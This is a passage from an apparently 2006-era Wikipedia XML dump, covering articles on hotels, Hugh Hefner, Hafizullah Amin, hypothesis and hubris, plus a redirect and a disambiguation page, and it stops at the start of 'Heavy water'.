The largest hotel in the world is the [[Ambassador City Jomtien]] resort, in [[Jomtien]], near [[Pattaya]], [[Thailand]], at 5,100 rooms. It is a resort complex with a number of buildings, but the exact room count has not been independently verified. In [[2000]], the [[First World Hotel]], in [[Genting Highlands]], [[Malaysia]], claimed that it was in the process of developing a 6,300-room hotel complex; however, it appears that only about 3,000 rooms have been built and opened to the public. 

The largest single-building hotel is the [[MGM Grand Las Vegas]] in [[Las Vegas, Nevada|Las Vegas]], [[Nevada]], with 5,005 rooms. Third place belongs to the [[Luxor Hotel]], also in Las Vegas, with 4,408 rooms. According to [http://hotels.about.com/cs/uniqueunusual/a/largesthotels_2.htm About.com], 8 of the top 10 largest hotels are in Las Vegas.

=== Oldest ===
According to the [[Guinness Book of World Records]], the oldest hotel still in operation is the [[Hoshi Ryokan]], in [[Awazu]], [[Japan]]. It opened in 717 CE, and features hot springs.

==Hotels in fiction==
Hotels have often been chosen by authors as the setting of their literary works. They are perfect for mysterious, anonymous settings where multiple characters may gather in equal positions.  It is especially true of [[crime fiction]], [[farce]]s, and [[mysteries]]. Hotels also feature in [[film]]s , [[television]] series, [[song]]s and even [[theme park]] rides.

Examples:

*''[[Grand Hotel (film)|Grand Hotel]]''
*''[[Room Service (1938 movie)|Room Service]]''
*''[[Plaza Suite]]''
*''[[Tipton Hotel]]'' on Disney Channel's &quot;The Suite Life of Zack and Cody&quot;
*''[[The Hotel New Hampshire]]''
*''[[Fawlty Towers]]''
*''[[White Horse Inn]]''
*''[[Hotelier]]''
*&quot;[[Hotel California (song)|Hotel California]]&quot;
*[[Agatha Christie]]'s ''[[Evil Under the Sun]]''
*''[[A Caribbean Mystery]]''
*''[[At Bertram's Hotel]]''
*[[Cyril Hare]]'s ''[[Suicide Excepted]]''
*''[[Hotel Rwanda]]''
*&quot;[[The Twilight Zone Tower of Terror|Hollywood Tower Hotel]]&quot; (ride at [[Disney-MGM Studios]], [[Orlando, Florida|Orlando]], [[Florida]])
*''[[The Overlook Hotel]] ''from ''[[The Shining]]
*''[[Hotel (TV series)|Hotel]]''

==Other usage==
In [[Australia]], the word &quot;hotel&quot; often refers to a [[public house]], a drinking establishment which does not necessarily provide accommodations. In [[India]], the word may also refer to a [[restaurant]], since earlier the best restaurants were always situated next to a good hotel.

==See also==
{{commonscat}}
* [[List of famous hotels]]
* [[Hotel chain]]
* [[Resort]]
* [[Hospitality services]]
* [[List of lodging types]]
** [[Apartment]]
** [[Bed and breakfast]]
** [[Extended stay hotel]]
** [[Guest House]]
** [[Hostel]]
** [[Hostal]]
** [[Motel]]
** [[Single Room Occupancy]]
** [[Suite (hotel) | Suite]]
* [[Hilbert's paradox of the Grand Hotel]] (mathematics)
*[http://london.wikicities.com/wiki/London_hotels List of London Hotels - link to Wikicities]

[[Category:Hotels| ]]

[[bg:Хотел]]
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[[nl:Hotel]]
[[ja:ホテル]]
[[pl:Hotel]]
[[pt:Hotel]]
[[sr:Хотел]]
[[fi:Hotelli]]
[[sv:Hotel]]
[[zh:酒店]]</text>
    </revision>
  </page>
  <page>
    <title>Hebrew mythology</title>
    <id>14277</id>
    <revision>
      <id>15911840</id>
      <timestamp>2004-05-28T12:04:33Z</timestamp>
      <contributor>
        <username>Jfdwolff</username>
        <id>46555</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Jewish mythology]]</text>
    </revision>
  </page>
  <page>
    <title>Hermitian</title>
    <id>14278</id>
    <revision>
      <id>34149561</id>
      <timestamp>2006-01-06T20:06:09Z</timestamp>
      <contributor>
        <username>Gabetarian</username>
        <id>626872</id>
      </contributor>
      <minor />
      <comment>Added Hermitian wavelet link</comment>
      <text xml:space="preserve">A number of [[mathematical]] entities are named '''Hermitian''', after the [[mathematician]] [[Charles Hermite]]:

*[[Hermitian adjoint]]
*[[Sesquilinear form|Hermitian form]]
*[[Hermitian function]]
*[[Hermitian matrix]]
*[[Hermitian metric]]
*[[Hermitian operator]]
*[[Hermitian wavelet]]

See also:
*[[self-adjoint]]

[[Category:Mathematical disambiguation]]
{{disambig}}
[[fr:Hermitien]]</text>
    </revision>
  </page>
  <page>
    <title>Hugh Hefner</title>
    <id>14279</id>
    <revision>
      <id>42079356</id>
      <timestamp>2006-03-03T18:03:59Z</timestamp>
      <contributor>
        <username>Dumelow</username>
        <id>805775</id>
      </contributor>
      <minor />
      <comment>/* Trivia */ Replaced word: UNVERIVIED with &quot;UNVERIFIED&quot;</comment>
      <text xml:space="preserve">&lt;!-- Unsourced image removed: [[Image:hhefner1.jpg|frame|right|Hugh Hefner, mid 1970s.]] --&gt;
'''Hugh Marston &quot;Hef&quot; Hefner''' (born [[April 9]], [[1926]]) is the founder and [[editor]]-in-chief of ''[[Playboy]]'' [[magazine]]. He has become a [[charisma]]tic icon and spokesman for the [[sexual revolution]], and is known for his lavish bathrobes.  

Hefner was born in [[Chicago, Illinois|Chicago]], [[Illinois]], and grew up &quot;in a very typically [[Methodist]] repressed home&quot; with &quot;no show of affection of any kind&quot;. He went to Sayre Elementary School, and Steinmetz High School in Chicago. He majored in [[psychology]] at the [[University of Illinois at Urbana-Champaign]].  After graduating from high school in 1944, he served in the [[U.S. Army]] during the closing months of [[World War II|WWII]]. Before starting the magazine, Hefner was a [[copywriter]] for [[Esquire (magazine)|''Esquire'']] magazine.

Hefner claims to have hatched the idea for ''Playboy'' while he was in college and that the  name for the [[magazine]] came from deciding that his &quot;baby&quot; should have the name he &quot;knew he was himself&quot;.  In reality, the original working title of his magazine was ''Stag Party'' but Hefner was forced to change it to avoid a trademark conflict with the existing ''Stag Magazine''. The name &quot;Playboy&quot; was suggested by a friend. 

From his experience in advertising, Hefner saw the need to package sexuality into aspirational categories, to tell a story about it that placed men in the narrative itself in a way that was not just acceptable but desirable. In launching ''Playboy'', perhaps the smartest thing Hefner did was to establish his personality as that of an urbane sophisticate who enjoyed the company of many young women. 

Hefner has been [[marriage|married]] twice. His daughter [[Christie Hefner]], born in 1952, is from his marriage to Millie Williams, whom he married in 1949 and divorced in 1959. Christie eventually joined her father's editorial staff, and now holds the title of [[Chairman|Chairperson]] of [[Playboy Enterprises]] (PEI). He also had a son, David.  

He married [[Playmate]] [[Kimberley Conrad]] in 1988. Conrad became Playmate of the Year in 1989. This marriage broke up in 1998, though Hefner and Conrad have yet to divorce. The couple had two children&amp;mdash;Marston, born 1990, and Cooper, born 1991. During this period, Hefner lived [[Monogamy|monogamously]].

Hefner is known to have been involved with the following Playmates: then 18-year-old [[Donna Michelle]], [[Marilyn Cole]], [[Lillian Muller]], [[Patti McGuire]], [[Terri Welles]], and [[Brande Roderick]]. All six were subsequently chosen Playmate of the Year. 

Other noteworthy attachments include [[Mary Warren]] (1964&amp;ndash;68); [[Barbi Benton]] (1968&amp;ndash;74); [[Karen Christy]] (1971&amp;ndash;74); ex-[[Sunday school]] teacher [[Sondra Theodore]] (1974&amp;ndash;1981) and then 19-year-old [[Carrie Leigh]] (1983&amp;ndash;1987). The last liaison ended with a failed $35 million [[palimony]] suit by Leigh.

After his separation from Kimberley Conrad Hefner in 1999, Hefner began living with an ever-changing number of blonde women, whose ages range from 18 to 28. He told ''[[Vanity Fair magazine|Vanity Fair]]'' magazine &quot;And here's the surprise bit&amp;mdash;it's what ''they'' want!&quot; The actual nature of the relationship between Hefner and these women at his relatively advanced age is sometimes the subject of speculation. No children have come of these relationships .  The 2005 [[E!]] [[reality television]] series ''[[The Girls Next Door]]'' chronicles Hefner's three most recent girlfriends, [[Holly Madison]], [[Bridget Marquardt]] and [[Kendra Wilkinson]]. The three all spend time with Hefner, though Madison shares his bed at night and appears to be the most &quot;involved&quot; with Hefner.

Hefner purchased the crypt in the [[Westwood Village Memorial Park Cemetery]] in [[Westwood, Los Angeles, California|Westwood, California]] beside [[Marilyn Monroe]].

The [[Hugh Hefner First Amendment Award|Hugh M. Hefner First Amendment Awards]] were created by daughter Christie in 1979 &quot;to honor individuals who have made significant contributions in the vital effort to protect and enhance [[First Amendment of the United States Constitution|First Amendment]] rights for Americans.&quot;

Whatever his lifestyle, Hugh Hefner's place in American history will transcend his cult status as a perpetual playboy or eccentric. His very public challenges in his nation's highest courts have influenced constitutional law for the better. This is not just a question of pictures depicting nudity, but the more important underlying issue of  individual expression. The evolution of publishing rights and freedom of expression owe much to the efforts of High Hefner. Likewise the preservation of Chicago as an important publishing center. Despite what has often been described by political conservatives and other critics as a bizarre lifestyle, and his support of liberal causes, Hefner himself is actually a rather conservative midwesterner in many respects, placing great value on things like family, civic responsibility and service to one's community. By today's standards he may be considered almost mainstream, even if that was not the case in decades past.



== Trivia ==
*Every Sunday night at the [[Playboy Mansion]] Hefner hosts a movie night. He has an elaborate collection of films atop the spiraling staircase of his bedroom.
*&quot;The stuff that dreams are made of&quot;, a favorite quotation which Hefner often uses to refer to the success of ''Playboy'', comes from a quotation by [[Humphrey Bogart]] in ''[[The Maltese Falcon]],'' although both are misquotations from Act IV, Scene I of [[Shakespeare]]'s ''[[The Tempest (play)|The Tempest]]'' ([http://en.wikisource.org/wiki/The_Tempest#SCENE_I._Before_PROSPERO.27S_cell_2 &quot;We are such stuff as dreams are made on&quot;]).
*In a 2005 interview with ''[[Time (magazine)|Time]]'' magazine, Hefner said he is a direct descendant of [[William Bradford (1590-1657)|William Bradford]], a Puritan who came over on the ship ''[[Mayflower]]''.
*UNVERIFIED Apparently has a room or floor to himself in the [[Drake Hotel]] on [[Michigan Ave]] in Chicago, IL.

==Books==
* [[Russell Miller|Miller, Russell]] (1985). ''Bunny: The Real Story of Playboy''.  London: Corgi.  ISBN 0030637481.

==External links==
* [http://www.playboyenterprises.com/home/content.cfm?content=t_template&amp;packet=00061D22-C172-1C7A-9B578304E50A011A&amp;MmenuFlag=profile Profile of Hefner] from [[Playboy Enterprises]] corporate site (page does not contain nudity)
* {{imdb name|id=0005005|name=Hugh M. Hefner}}
* [http://www.shanatinglipton.com/bunny1.html Bunnyhood, article]
* [http://entrepreneurs.about.com/od/famousentrepreneurs/p/hughhefner.htm Hugh Hefner: The Ultimate Lifestyle Entrepreneur] ([[About.com]] Entrepreneurs)
* &quot;[http://www.salon.com/people/bc/1999/12/28/hefner/index.html Brilliant Careers: Hugh Hefner]&quot; ([[Salon.com]], [[December 28]], [[1999]]
*[http://www.askmen.com/men/feb00/12_hugh_hefner.html Hugh Hefner on AskMen.com]
*&quot;[http://slate.msn.com/id/86703/ Hugh Hefner: He swings. He misses.]&quot;  (''[[Slate (magazine)|Slate]]'', [[July 21]], [[2000]])
*[http://www.freeinfosociety.com/site.php?postnum=592 Bio and Pictures]

[[Category:1926 births|Hefner, Hugh]]
[[Category:American magazine editors|Hefner, Hugh]]
[[Category:American publishers (people)|Hefner, Hugh]]
[[Category:American socialites|Hefner, Hugh]]
[[Category:American World War II veterans|Hefner, Hugh]]
[[Category:Chicagoans|Hefner, Hugh]]
[[Category:Former copywriters|Hefner, Hugh]]
[[Category:Hollywood Walk of Fame|Hefner, Hugh]]
[[Category:Living people|Hefner, Hugh]]
[[Category:Magazine founders|Hefner, Hugh]]
[[Category:Magazine publishers (people)|Hefner, Hugh]]
[[Category:Playboy|Hefner, Hugh]]
[[Category:Pornographers|Hefner, Hugh]]
[[Category:University of Illinois at Urbana-Champaign alumni|Hefner, Hugh]]

[[de:Hugh Hefner]]
[[fi:Hugh Hefner]]
[[fr:Hugh Hefner]]
[[nl:Hugh Hefner]]
[[pl:Hugh Hefner]]
[[pt:Hugh Hefner]]
[[simple:Hugh Hefner]]
[[sv:Hugh Hefner]]</text>
    </revision>
  </page>
  <page>
    <title>Hafizullah Amin</title>
    <id>14280</id>
    <revision>
      <id>41460666</id>
      <timestamp>2006-02-27T14:16:22Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>/* Accusations of being a [[CIA]] Agent */</comment>
      <text xml:space="preserve">{{cleanup-date|December 2005}}
{| align=&quot;right&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;border: 1px solid; margin-left: 1em&quot;
|+ '''Hafizullah Amin''' 
! bgcolor=&quot;#efefef&quot; colspan=&quot;2&quot; |[[Image:Amin.jpg|Hafizullah Amin]]
|-
! Date of Birth:
| [[August 1]], [[1929]]  
|-
! Date of Death:
| [[December 27]], [[1979]]
|-
! bgcolor=&quot;#efefef&quot; colspan=&quot;2&quot; | [[President of Afghanistan]]
|-
! Tenure Order:
| 3th President 
'''( 2nd President of the DRA )'''
|-
! Took Office:
|  September [[1979]] &amp;ndash; December [[1979]]
|-
! Predecessor:
| [[Nur Muhammad Taraki]]
|-
! Successor:
| [[Babrak Karmal]]
|-
! bgcolor=&quot;#efefef&quot; colspan=&quot;2&quot; | [[Prime Minister of Afghanistan]]
|-
! Tenure Order:
| 10th Prime Minister
'''( 2nd Premier of the DRA )'''
|-
! Took Office:
|  March [[1979]] &amp;ndash; December [[1979]]
|-
! Predecessor:
| [[Mohammed Daoud Khan]]
|-
! Successor:
| [[Babrak Karmal]]
|-
|}

'''Hafizullah Amin''' ([[August 1]], [[1929]] – [[December 27]], [[1979]]) was the second President of [[Afghanistan]] during the period of the communist [[Democratic Republic of Afghanistan]]. 

Amin tried to broaden his internal base of support and to bring the interest of [[Pakistan]] and the [[United States]] in Afghan security. During the 104 days of his own rule, except for one failed military rebellion, no major uprising took place.

On [[December 27]], [[1979]], Soviet Army troops killed him and instaled [[Babrak Karmal]] as President.

==Early years==

Amin was born in 1921 in Paghman, a town near [[Kabul]]. His father was a minor civil servant. Amin studied mathematics and physics at [[Kabul University]] and became a high school teacher and principal. 

In 1957 he won a scholarship to study at teachers’ College at [[Columbia University]] in [[New York]], and on completion of his course he returned home to administer teacher-training courses. Returning to Columbia to complete his doctorate in 1962, Amin became involved in the politics of the Associated Students of Afghanistan, an overseas student group in the [[United States]]. 

It was apparently during his sojourn in the student world of [[Morningside Heights]] on Manhattan’s upper west side near Columbia’s campus that he became interested in [[Marxism]], although Columbia had not yet encountered
the radical tumult of the late 1960s. 

In 1965 he returned to Afghanistan without his doctorate and accepted a teaching post at a girls’ high school.
He quickly joined the [[People's Democratic Party of Afghanistan]] (PDPA), becoming a prominent member of the marxist ''Khalq'' (People) faction. 

President Daoud was still in the besieged palace when Amin took command of the coup after he and his comrades were released from the prison.

After the death of [[Mohammed Daoud Khan]] in [[1978]] the PDPA gained power with [[Nur Mohammad Taraki]] becoming President of the [[Democratic Republic of Afghanistan]] and secretary general of the PDPA while Amin and [[Babrak Karmal]] became deputy prime ministers. An attempt to institute Marxist-Leninist reforms provoked widespread resistance and a number of violent revolts. 

In February 1979 the [[United States|U.S.]] Ambassador [[Adolph Dubs]] was killed. The Khalq faction was gaining political power over the Parcham faction, with Karmal exiled to Europe. Amin had gained considerable control by March 1979 and was named Prime Minister although Taraki retained his other posts. 

The unrest continued however and the regime was forced to seek more [[Soviet Union|Soviet]] aid. It was in that meeting between Taraki and [[Leonid Breznev]] that the decision of removing Amin took place.

===Assassination of Taraki===

After Taraki returned to Kabul he requested that Amin meet with him. Amin agreed to the meeting only if his safety was guaranteed by the [[Soviet]] Ambassador, Alexander Puzanov. Such assurances were provided, but not in good faith. 

Amin knew however what Taraki's intentions were and the demand for his safety being guaranteed by the Soviet Ambassador, probably a shrewd ploy on the part of Amin to mislead Taraki. 

When Amin arrieved at the '''People's Palace''', a shootout occurred. Amin escaped unhurt, returned later to the palace with some of his supporters and used the '''Palace Guard''' to take Taraki prisoner. 

On [[September 14]], [[1979]] Amin then took control of the government. A few days later Amin's government announced that Taraki died of an &quot;undisclosed illness&quot;.

==President of the Republic ( September [[1979]] &amp;ndash; December [[1979]] )==

[[Image:Khalq1978-80.gif|thumb|Flag of the Khalq (Masses) faction of the People's Democratic Party of Afghanistan and of the Democratic Republic of Afghanistan during Hafizullah Amin's rule.]]

His rule was notable for its brutality. The Soviets admitted that perhaps 500 PDPA members had forfeited their lives. Amin now assumed leadership and carried out his own purges of the PDPA. Attempting to pacify the population, he released a list of some 18,000 people who had been executed and blamed the executions on Taraki. The official Afghan figures are much higher-15,000 to 45,000. 

Aditional to that, Amin was not a popular person. He was rapidly accumulating as enemies a large group of very angry relatives of victims, and PDPA members must have lived in fear of their lives.

During this period, many Afghans fled to [[Pakistan]] and [[Iran]] and began organizing a resistance movement to the &quot;atheistic&quot; and &quot;infidel&quot; communist regime backed by the Soviets. Although the groups organizing in the Pakistani city of [[Peshawar]] would later, after the Soviet invasion, be described by the western press as &quot;freedom fighters&quot;.

In mid-November 1979 Amin launched a large military operation against the resistance at [[Sayd Karam]] in [[Paktia]] Province. The offensive was successful, eliminating as many as 1,000 or more resistance fighters, relatives, and supporters, driving most of the remainder into Pakistan, and obliterating sympathetic villages. 

Amin also began unfinished attempts to moderate what many Afghans viewed as an '''Anti-Islam''' regime. Promising more religious freedom, repairing [[mosques]], presenting copies of the [[Koran]] to religious groups, invoking the name of [[Allah]] in his speeches, and declaring that the '''Saur Revolution''' was &quot;totally based on the principles of Islam.&quot; Yet many Afghans held Amin responsible for the regime's harshest measures and the [[Soviet]]s, worried about their huge investment in Afghanistan might be jeopardized, increased the number of ''advisers'' in Afghanistan. 

Amin worked to broaden his base of support and purged the PDPA of his perceived enemies. His regime was still under pressure from the insurgency in the country and he tried to gain [[Pakistan]]i or American support and refused to take Soviet advice. 

Because of or in spite of this, Amin attempted to solidify his hold on the country militarily. This display of independent nationalism was not tolerated by [[Moscow]], and on [[December]] [[1979]], the Soviets began their invasion of Afghanistan.

==Soviet invasion==
[[Image:Evstafiev-40th army HQ-Amin-palace-Kabul.jpg|thumb|right|The HQ of the Soviet 40th Army in Kabul, Afghanistan in 1987. Before the invasion it was the Presidential Palace where Amin was killed. Photo by Mikhail Evstafiev]]

[[Islamic]] [[guerrilla warfare|guerrilla]]s in the mountainous countryside harassed the Afghan army to the point where the government of President [[Hafizullah Amin]] turned to the Soviet Union for increasingly large amounts of aid. 

The [[Soviet Union]] decided to increase its military aid to Afghanistan in order to maintain the [[Communist]] government, but was dissatisfied with Amin as the [[Afghan]] leader capable of accomplishing this goal. Soviet leaders, based on the information from [[KGB]], thought that Amin destabilized the situation in Afghanistan. 

The last arguments to overthrow Amin were obtained by the [[KGB]] from its agents in Kabul, that two of Amin's guards killed the former president [[Nur Muhammad Taraki]] and that Amin was supposedly a [[CIA]] agent. There were, however, some sceptics among the Soviet military advisors of Afghan army, principaly '''General Vasily Zaplatin''', a political advisor at that time, who claimed that four of the young Taraki's ministers were responsible for the destabilization. 

Amin feared the [[Soviet]] troops would be used to depose him. Fearing for his survival and uncertain of whom he could trust, he started putting his relatives into positions of power. Amin put one of his nephews in charge of the secret police, but that nephew was assassinated. Amin moved his headquarters out of [[Kabul]] in concern for his own safety. 

===Assassination===

On [[December 22]], the Soviet advisors to the Afghani Armed Forces advised them to undergo maintenance cycles for tanks and other crucial equipment. Meanwhile, Telecommunications links to areas outside of Kabul were severed, isolating the capital. Viewing this, Amin moved the offices of the president to the [[Tajbeg Palace]], believing this location to be more defensible during invasion.

Five days later, on [[December 27]], elements of the [[KGB]] [[Spetsnaz]] ([[Alpha Group]]), in Afghan uniforms stormed the Presidential Palace in [[Kabul]], taking relatively few casualties, killing President [[Hafizullah Amin]] and his 200 [[elite]] guards in the process. 

The Soviet [[Spetsnaz]] blew up Kabul's communications hub, paralyzing the Afghani military command, at 7:00 P.M. By 7:15, they had seized the '''Ministry of Interior'''. The Soviet military command at [[Termez]] did not wait until Amin's capture to announce on Radio Kabul (in a broadcast prerecorded by [[Babrak Karmal]]) that Afghanistan had been liberated from Amin's rule. 

According to the [[Soviet]] [[Politburo]], they were only complying with the 1978 '''Treaty of Friendship, Cooperation and Good Neighborliness''' that former President Taraki signed. The execution of '''Hafizullah Amin''' was, according to the Soviets, the action of the '''Afghan Revolutionary Central Committee'''. That committee then elected as head of government [[Babrak Karmal]], who was in exile in [[Moscow]].

===Accusations of being a CIA agent===

The Soviet government and press repeatedly referred to Amin as a &quot;[[CIA]] agent&quot;, a charge which was greeted with great skepticism in the [[United States]] and elsewhere. One strong argument against that belief, was that he always and everywhere showed official friendliness to the Soviet Union. And even after the assassination of Amin and two his sons, his wife claimed that she and her remaining sons only wanted to go to the Soviet Union, because her husband was loyal to them until the end. 

She did eventually go to the [[Soviet Union]] to live. However Zaplatin failed to emphasize this enough [http://zavtra.ru/cgi/veil/data/zavtra/99/316/61.html]. However, enough circumstantial evidence supporting the charge exists so that it perhaps should not be dismissed entirely out of hand.

{{start box}}
{{succession box |
  before=[[Nur Muhammad Taraki|Nur Muhammad Taraki]]|
  title=[[Prime Minister of Afghanistan|Prime Minister of Afghanistan]] |
  years=March [[1979]] &amp;ndash; December [[1979]] |
  after=[[Babrak Karmal|Babrak Karmal]] |
}}
{{succession box |
  before= None - Position Created |
  title= Head of the AGSA |
  years=April [[1978]] &amp;ndash; September [[1979]] |
  after= Asadullah Amin
('''as Head of the KAM''') |
}}
{{succession box |
  before= [[Mohammad Aslam Watanjar]] |
  title= [[Afghan Defense Ministry|Minister of Defense]]|
  years= July 1979 &amp;ndash; December 1979 |
  after= [[Mohammed Rafie]] |
}}
{{succession box |
  before=[[Nur Muhammad Taraki|Nur Muhammad Taraki]] |
  title=[[President of Afghanistan|President of Afghanistan]] |
  years=September [[1979]] &amp;ndash; December [[1979]] |
  after=[[Babrak Karmal|Babrak Karmal]] |
}}
{{succession box |
  before=[[Nur Muhammad Taraki|Nur Muhammad Taraki]] |
  title=General Secretary of the [[People's Democratic Party of Afghanistan]] |
  years=September [[1979]] &amp;ndash; December [[1979]] |
  after=[[Babrak Karmal|Babrak Karmal]] |
}}
{{succession box |
  before=[[Nur Muhammad Taraki|Nur Muhammad Taraki]] |
  title=Chairman of the Revolutionary Council |
  years=September [[1979]] &amp;ndash; December [[1979]] |
  after=[[Babrak Karmal|Babrak Karmal]] |
}}
{{end box}}

==External links==
* [http://www.alternativeinsight.com/Afghan_War.html Soviet Documentation gathered before the Soviet Invasion]

==Further reading==
* ''Red Flag Over Afghanistan: The Communist Coup, the Soviet Invasion, and the Consequences'' - Thomas T. Hammond - ISBN 0-86531-444-6

[[Category:1929 births|Amin, Hafizullah]]
[[Category:1979 deaths|Amin, Hafizullah]]
[[Category:Afghan people|Amin, Hafizullah]]
[[Category:Murdered politicians|Amin, Haifullah]]
[[ps:حفيظ الله امين]]
[[de:Hafizullah Amin]]
[[et:Ḩāfiz̧ullāh Amīn]]
[[ja:ハーフィズッラー・アミーン]]
[[nl:Hafizullah Amin]]
[[no:Hafizullah Amin]]
[[zh:哈菲佐拉·阿明]]</text>
    </revision>
  </page>
  <page>
    <title>Hypothesis</title>
    <id>14281</id>
    <revision>
      <id>42042731</id>
      <timestamp>2006-03-03T11:56:04Z</timestamp>
      <contributor>
        <ip>60.234.226.62</ip>
      </contributor>
      <comment>expand, ed</comment>
      <text xml:space="preserve">A '''hypothesis''' (from ancient [[Greek language|Greek]] ''hypotithenai'' meaning &quot;to put under&quot; or &quot;to suppose&quot;) offers a proposed explanation for a [[phenomenon]]. A '''scientific hypothesis''' must be [[testable]] and based on previous [[observation]]s or extensions of [[Theory|scientific theories]].

==Usage==
In early usage, scholars often referred to a a clever idea or to a convenient mathematical approach that simplified cumbersome calculations as a ''hypothesis''; it did not necessarily have any real meaning. [[Robert Bellarmine|Cardinal Bellarmine]] gave a famous example of the older sense of the word in the warning issued to [[Galileo Galilei|Galileo]] in the early 17th century: that he must not treat the motion of the [[Earth]] as a reality, but merely as a hypothesis.

In common usage at present, a ''hypothesis'' refers to a provisional idea whose merit needs evaluation. A hypothesis requires more work by the researcher in order to either confirm or disprove it. In due course, a confirmed theory may become part of a [[theory]] or grow to become a theory itself.

Reference to the [[Riemann hypothesis]] misuses the term ''hypothesis'': one would more properly refer to Riemann's formulations as a [[conjecture]].

== Types of hypotheses ==

=== Propositions ===

Propositions follow a [[causal]] order (&quot;A causes B&quot;).

=== Empirical generalizations ===

[[Empirical]] generalizations base themselves on observed regularities, but they don't stipulate the [[cause and effect]] themselves, only stating that 'A is related to B'. Proven empirical hypotheses consider [[law of nature | law]]s.

==Evaluating hypotheses==
The [[hypothetico-deductive method]] demands [[falsifiability|falsifiable]] hypotheses, framed in such a manner that the scientific community can prove them false (usually by [[observation]]). (Note that, if confirmed, the hypothesis is not necessarily proven, but remains provisional.)  

As an example: someone who enters a new country and observes only white sheep might form the hypothesis that all sheep in that country are white. It can be considered a hypothesis, as it is falsifiable. Anyone could falsify the hypothesis by observing a single black sheep. Provided that the experimental uncertainties are small (for example, provided that one can fairly reliably distinguish the observed black sheep from (say) a goat), and provided that the experimenter has correctly interpreted the statement of the hypothesis (for example, does the meaning of &quot;sheep&quot; include rams?), finding a black sheep falsifies the &quot;white sheep only&quot; hypothesis.

According to Schick and Vaughn (2002), researchers weighing up alternative hypotheses may take into consideration:

* Testibility (compare falsifiability as discussed above)
* Simplicity (as  in the application of &quot;[[Occam's razor]]&quot;, discouraging the postulation of excessive numbers of [[entity | entities]])
* Scope - the apparent application of the hypothesis to multiple cases of phenomena
* Fruitfulness - the prospect that a hypothesis may explain further phenomena in the future
* Conservatism - the degree of &quot;fit&quot; with existing recognised knowledge-systems

== Quotes ==

* ''&quot;[[Gravity#Newton's reservations|Hypotheses non fingo]]&quot;'' : &quot;I feign no hypotheses&quot; -- Isaac Newton{{fn|1}}

*&quot;... a hypothesis is a statement whose ''truth'' is temporarily assumed, ''whose meaning is beyond all doubt''. ...&quot; -- Albert Einstein{{fn|2}}

== See also ==

* [[Causality]]
* [[Ecological fallacy]]
* [[Learning]]
* [[Logic]]
* [[Null hypothesis]]
* [[Philosophiae Naturalis Principia Mathematica]] for Newton's position on hypotheses
* [[Reductionism]]
* [[Research design]]
* [[Scientific method]]
* [[Statistical hypothesis testing]]
* [[Theory]]
* [[Null Hypothesis - The Journal of Unlikely Science]]

== Notes ==

{{fnb|1}}[[Isaac Newton]], ''Principia Mathematica''. A New Translation by I. Bernard Cohen and Anne Whitman, translators. University of California Press [[1999]] ISBN 0-520-08817-4

{{fnb|2}} Letter to Eduard Study from [[Albert Einstein]], [[September 25]],[[1918]] ''Collected Papers of Albert Einstein'', J.J. Stachel and Robert Schulmann, eds. Princeton University Press [[1987]]

== External links ==

* [http://www.nuevoweb.com/tutorial/glossary.html Research and Evaluation Glossary]

*[http://www.null-hypothesis.co.uk Null Hypothesis - The Journal of Unlikely Science]. A monthly satirical science journal which casts a wry eye over the world of science and technology. It caters for anyone who has ever laughed at, or felt amazement at, the world around us.
[[Category:Scientific method]]

== References ==
Schick, Theodore and Vaughn, Lewis: ''How to think about weird things: Critical thinking for a New Age'' Boston, 2002

{{sci-stub}}

[[bg:&amp;#1061;&amp;#1080;&amp;#1087;&amp;#1086;&amp;#1090;&amp;#1077;&amp;#1079;&amp;#1072;]]
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  </page>
  <page>
    <title>Hubris</title>
    <id>14282</id>
    <revision>
      <id>40884423</id>
      <timestamp>2006-02-23T17:31:21Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">'''Hubris''' or '''hybris''' ([[greek language|Greek]] ‛′Υβρις) referred in Ancient Greece to a reckless and violent disregard for the personal space of another person resulting in some kind of social degradation for the victim.  According to its popular modern definition hubris is exaggerated [[pride]] or self-confidence often resulting in fatal retribution.

==Hubris in ancient times==
Hubris is a common theme in [[Greek tragedy|Greek tragedies]] and [[Greek mythology|mythology]], whose stories often featured characters suffering from hubris and subsequently being punished for it. In [[Ancient Greece|Greek law]], it most often refers to violent outrage wreaked by the powerful upon the weak.

There was also a goddess called '''Hubris''' (‛′Υβρις), or Hybris, the embodiment of the above concept: insolence and lack of restraint. 

The original &quot;hubristic&quot; characters in Greek literature are [[Penelope]]'s suitors in [[Homer]]'s ''[[Odyssey]]''. They are eventually made to pay for their presumptuous encroachments on the household of [[Odysseus]].

Hubris has in the past been cited as the &quot;hamártia&quot; (&quot;error&quot;) of characters in Greek tragedy.  The &quot;[[Nemesis (mythology)|nemesis]]&quot; (''némesis''), or destruction, which befalls these characters, however, generally comes from the [[Twelve Olympians|gods]], whereas hubris refers for the most part to infractions by mortals against other mortals!

==Hubris in modern times==
Modern negative consequences of actions stemming from hubris appear to be associated with a lack of knowledge, interest in, and exploration of [[history]], combined with overconfidence and a lack of [[humility]]. The common reference is 'The false pride that comes before the fall'.

Hubris as a pejorative term is often applied in the political realm. As hubris is associated with power, it is often used by persons associated with political parties that are out of power against those who are in power, specifically with regard to a perceived abuse of power.

Hubris has been suggested as one of the three virtues of successful programmers, according to [[Larry Wall]]. It is ''&quot;the quality that makes you write (and maintain) programs that other people won't want to  say bad things about.&quot;'' The other two virtues are [[laziness]] and [[impatience]].

==References==
{{wiktionary}}
* {{cite book | first = Nick | last = Fisher | title = Hybris: a study in the values of honour and shame in Ancient Greece | location = [[Warminster]], UK | publisher = Aris &amp; Phillips | year = 1992 }} A book-length discussion of the meaning and implications of hybristic behavior in ancient Greece.
{{1911}}

[[Category:Vice]]

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  <page>
    <title>Heavy water</title>
    <id>14283</id>
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      <id>41887239</id>
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        <ip>84.12.111.6</ip>
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      <comment>minor grammer alteration</comment>
      <text xml:space="preserve">{{TOCright}}
